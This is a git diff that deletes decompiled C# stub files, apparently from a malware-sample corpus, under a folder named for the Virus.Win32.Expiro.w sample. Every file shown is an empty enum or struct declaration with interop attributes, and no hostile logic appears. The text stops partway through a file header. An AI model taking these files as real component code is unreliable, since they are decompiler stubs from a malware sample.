a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFUNCFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFUNCFLAGS.cs deleted file mode 100644 index 3febc567..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFUNCFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFUNCFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagFUNCFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFUNCKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFUNCKIND.cs deleted file mode 100644 index b52c0222..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFUNCKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFUNCKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagFUNCKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagGETPROPERTYSTOREFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagGETPROPERTYSTOREFLAGS.cs deleted file mode 100644 index d93461a8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagGETPROPERTYSTOREFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagGETPROPERTYSTOREFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagGETPROPERTYSTOREFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagGPFIDL_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagGPFIDL_FLAGS.cs deleted file mode 100644 index 5e3eae3c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagGPFIDL_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagGPFIDL_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagGPFIDL_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagGUIDKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagGUIDKIND.cs deleted file mode 100644 index 8703e744..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagGUIDKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagGUIDKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagGUIDKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagHITRESULT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagHITRESULT.cs deleted file mode 100644 index 3b43321e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagHITRESULT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagHITRESULT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagHITRESULT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagINTERVAL_LIMIT_KIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagINTERVAL_LIMIT_KIND.cs deleted file mode 100644 index b932a673..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagINTERVAL_LIMIT_KIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagINTERVAL_LIMIT_KIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagINTERVAL_LIMIT_KIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagINVOKEKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagINVOKEKIND.cs deleted file mode 100644 index cdd6df61..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagINVOKEKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagINVOKEKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagINVOKEKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagLIBFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagLIBFLAGS.cs deleted file mode 100644 index 8e4811c6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagLIBFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagLIBFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagLIBFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagLOCKTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagLOCKTYPE.cs deleted file mode 100644 index bf96f5b6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagLOCKTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagLOCKTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagLOCKTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPLINKTEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPLINKTEXT.cs deleted file mode 100644 index 7ee51839..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPLINKTEXT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMARKUPLINKTEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagMARKUPLINKTEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPMESSAGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPMESSAGE.cs deleted file mode 100644 index a51ebaa8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPMESSAGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMARKUPMESSAGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagMARKUPMESSAGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPSIZE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPSIZE.cs deleted file mode 100644 index 0c036dc4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPSIZE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMARKUPSIZE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagMARKUPSIZE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPSTATE.cs deleted file mode 100644 index 69e6ac80..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMARKUPSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagMARKUPSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMEMCTX.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMEMCTX.cs deleted file mode 100644 index d9ff760a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMEMCTX.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMEMCTX -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagMEMCTX -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMENUBANDHANDLERCID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMENUBANDHANDLERCID.cs deleted file mode 100644 index 52e736e8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMENUBANDHANDLERCID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMENUBANDHANDLERCID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagMENUBANDHANDLERCID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMENUPOPUPPOPUPFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMENUPOPUPPOPUPFLAGS.cs deleted file mode 100644 index bafa3a26..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMENUPOPUPPOPUPFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMENUPOPUPPOPUPFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagMENUPOPUPPOPUPFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMENUPOPUPSELECT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMENUPOPUPSELECT.cs deleted file mode 100644 index 336b09a8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMENUPOPUPSELECT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMENUPOPUPSELECT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagMENUPOPUPSELECT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMKREDUCE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMKREDUCE.cs deleted file mode 100644 index 9657c5a4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMKREDUCE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMKREDUCE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagMKREDUCE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMKSYS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMKSYS.cs deleted file mode 100644 index d695014e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMKSYS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMKSYS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagMKSYS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMSG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMSG.cs deleted file mode 100644 index aae26b0c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMSG.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMSG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 28)] -internal struct tagMSG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMSHCTX.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMSHCTX.cs deleted file mode 100644 index 4b414eac..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMSHCTX.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMSHCTX -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagMSHCTX -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMSHLFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMSHLFLAGS.cs deleted file mode 100644 index 9f2fff54..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMSHLFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMSHLFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: 